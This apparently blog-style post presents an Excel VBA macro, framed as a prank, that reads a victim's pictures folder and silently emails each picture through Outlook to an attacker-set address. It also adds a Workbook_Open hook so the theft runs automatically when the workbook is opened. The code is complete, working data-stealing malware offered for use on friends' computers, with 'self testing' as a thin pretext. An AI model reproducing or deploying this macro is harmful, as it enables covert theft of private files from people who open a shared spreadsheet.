Yes, you read the title right. You can play pranks on your friends and steal their pictures.
Did you notice why excel always emphasize you to run macro from trusted source. You can really do nasty thing such as planting a key logger or virus inside a pc, stealing information, deleting files ,etc with EXCEL macro.
I wrote this code for self testing and learning purpose. You can try it at your own risk
What this code will do,
1) Access your "My Picture" folder. In this example I target the "Sample Pictures" folder
2) List down all the file you have inside the "Sample Picture" folder and save it to ScriptOutput.txt.
3) Import the file to excel sheet
4) Send mail to designated mail address with picture as attachments
Code for module
=====================================================
Sub stealingpic()
Dim fso, folder, files, OutputFile
Dim strPath
Dim wbI As Workbook, wbO As Workbook
Dim wsI As Worksheet
'Define desktop path
Myuser = Environ("userprofile")
Myuserdesktop = Myuser & "\Desktop"
' Create a FileSystemObject
Set fso = CreateObject("Scripting.FileSystemObject")
' Define folder we want to list files from. You can change the folder name
strPath = "C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures"
Set folder = fso.GetFolder(strPath)
Set files = folder.files
' Create text file to output test data
Set OutputFile = fso.CreateTextFile(Myuserdesktop & "\ScriptOutput.txt", True)
' Loop through each file
For Each Item In files
' Output file properties to a text file
OutputFile.WriteLine (Item.Name)
Next
' Close text file
OutputFile.Close
'to import ScriptOutput.txt to current Excel workbook
Set wbI = ThisWorkbook
Set wsI = wbI.Sheets("Sheet1") '<~~ Sheet where you want to import
Set wbO = Workbooks.Open(Myuserdesktop & "\ScriptOutput.txt")
wbO.Sheets(1).Cells.Copy wsI.Cells
wbO.Close SaveChanges:=False
Sheet1.Activate
Sheet1.Columns("A:A").Select
'deleting the .ini file from list
Selection.Find(What:=".ini", After:=ActiveCell, LookIn:=xlFormulas, LookAt:= _
xlPart, SearchOrder:=xlByRows, SearchDirection:=xlNext, MatchCase:=False).Activate
ActiveCell.Select
Selection.Delete
LastRow = ActiveCell.SpecialCells(xlCellTypeLastCell).Row
'Sending mail with the pictures as attachments
For i = 1 To LastRow
If Sheet1.Cells(i, 1) = " " Then
End
Else
Set App = CreateObject("Outlook.Application")
Set itm = App.CreateItem(olMailItem)
With itm
esubject = "i am stealing your picture"
file = Sheet1.Cells(i, 1).Value
Fileiwant = strPath & "\" & file
If Fileiwant = strPath & "\" Then
End
End If
sAttachment = Fileiwant
.Subject = esubject
.To = "your mail@gmail.com"
.cc = ccto
.Attachments.Add (Fileiwant)
.send
Set App = Nothing
Set itm = Nothing
End With
End If
Next i
End Sub
=====================================================
To automate the task whenever the workbook is open, put this code inside This Workbook
Code for This Workbook
=====================================================
Private Sub Workbook_Open()
stealingpic
End Sub
=====================================================